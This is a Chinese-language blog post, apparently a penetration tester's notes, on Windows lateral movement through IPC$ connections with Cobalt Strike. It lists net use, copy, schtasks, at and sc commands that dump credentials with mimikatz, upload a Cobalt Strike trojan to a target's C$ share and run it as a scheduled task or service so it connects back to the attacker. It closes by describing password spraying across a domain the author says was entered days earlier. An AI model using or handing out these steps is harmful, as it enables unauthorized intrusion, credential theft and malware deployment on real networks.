很久一段时间没有用cs渗透了,有些命令比较生疏,在虚拟机里面搭建环境复习下ipc命令。
前言
IPC$(Internet Process Connection) 是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。当然,还是在同一个时间,还是同样的两个IP,他们之间只能建立一个IPC$连接,脚踏多条船无论什么时候都是不可取的。通过这个连接,可以实现在被连接的目标机器上搞文件上传、下载、命令执行……
关于IPC$+计划任务的横向,我们的目的非常明确,思路非常美好:
(1)首先建立向目标主机的IPC$连接
(2)其次把命令执行的脚本传到目标主机
(3)再次创建计划任务在目标机器上执行命令脚本
(4)最后过河拆桥删除IPC$连接
当然想要用IPC$来横向是有条件的:
(1)目标机器没有禁用IPC$连接,没有什么防火防盗拦截IPC$,139 445 端口也开了(能走445走445,不能则走139)
(2)目标机器小管理员开了IPC$默认共享服务(逻辑盘、系统目录;都不开我访问个啥?)
(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的
(4)目标系统能支持IPC$,且和攻击机能彼此互通(废话)
关于一些ipc$报错:
错误号 5,拒绝访问(很可能你使用的用户不是管理员权限的,先提升权限)
错误号 51,Windows 无法找到网络路径(网络有问题)
错误号 53,找不到网络路径(ip 地址错误;目标未开机;目标 lanmanserver
服务未启动;目标有防火墙(端口过滤))
错误号 67,找不到网络名(你的 lanmanworkstation 服务未启动;目标删除了 ipc$;)
错误号 1219,提供的凭据与已存在的凭据集冲突(你已经和对方建立了一个ipc$,请删除后再连)
错误号 1326,未知的用户名或错误密码
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
错误号 1792,试图登录,但是网络登录服务没有启动(目标NetLogon服务未启动[连接域控会出现此情况])
错误号 2242,此用户的密码已经过期(目标有帐号策略,强制定期要求更改密码)
建立连接后,可以把生成的木马从攻击机上传、粘贴到目标机器上
本地命令可以copy,用CS beacon的可以upload,总之把自己写的或者是工具生成的木马搞到目标机器上
接下来创建windows计划任务,自动执行木马反弹连接到攻击机器
值得注意的是,如何自动执行木马,在windows中常用的就是计划任务at和schtasks
ipc命令
先hashdump logonpasswords 抓一波密码
可以看到hashdump抓到的是md5,mimikatz抓到的是明文密码
net use \ip “密码” /user:”登陆账户” 建立IPC$连接
net use 查看网络连接
net use z: \ip\c$ “密码” /user:”Administrator” 把目标C盘映射到本地z盘
在我的电脑目录如下
net use \ip\ipc$ 删除ipc连接
net use z: /del 删除共享映射
at计划任务上线
at计划任务只用于2003及以下的系统,之后都用schtasks计划上线,我这里试了我的一台xp虚拟机和一台2003服务器,都是报错384,没有办法只有写下命令
1 | net use \\ip\IPC$ "密码" /user:"用户名" |
这里更新一下
后来我在百度查了一下资料后发现,因为2003及xp都用的是SMB1协议,因为安全性的原因,win10是不自带这个协议的,win10用的是SMB2协议,但是还是保留了可以安装SMB1协议
安装路径为:控制面板 - 卸载程序 - 启动火关闭windows功能,找到SMB1协议,勾上安装后重启后即可执行ipc$命令
命令执行的话列在前面了,而且跟schtasks大同小异,就不继续贴图了
schtasks计划上线
建立ipc连接
复制cs生成的木马winsql.exe到c盘根目录
copy winsql.exe \192.168.10.3\c$\win.exe
查看虚拟机里面的c盘下,发现win.exe已经在目录下了
查看时间
net time \192.168.10.3
创建计划任务cs
schtasks /create /TN cs /TR C:\win.exe /SC once /ST 19:35
查看名为cs的计划任务
schtasks /query /TN cs
计划任务静默上线,任务管理器里面能够看见
回到cs发现已经已经上线
删除计划任务
schtasks /delete /tn “cs”
除了IPC$配合windows计划任务之外,还可以尝试配合windows系统命令(sc)
和上文一样的道理,需要先建立IPC$连接,再把脚本传到目标机器中,区别在于还可以创建一个服务,服务用于运行木马
例子:
1 | sc \\<IP\> create \<servicename\>binpath=”\<path\>” |
这里补充说明下如何批量使用ipc:
我们知道一个域内这么多台主机,如果域管一台一台的配置将会耗费大量时间,那么有些比较懒的域管可能会用批量设置域内机器的方法去设置密码,那么我们抓到我们进入内网这台主机的hash(明文),用ipc指令去一台一台的撞库即可
这是前两天进的一个域,c段主机很多,只撞了几台,有两台跟我进内网的这台主机密码相同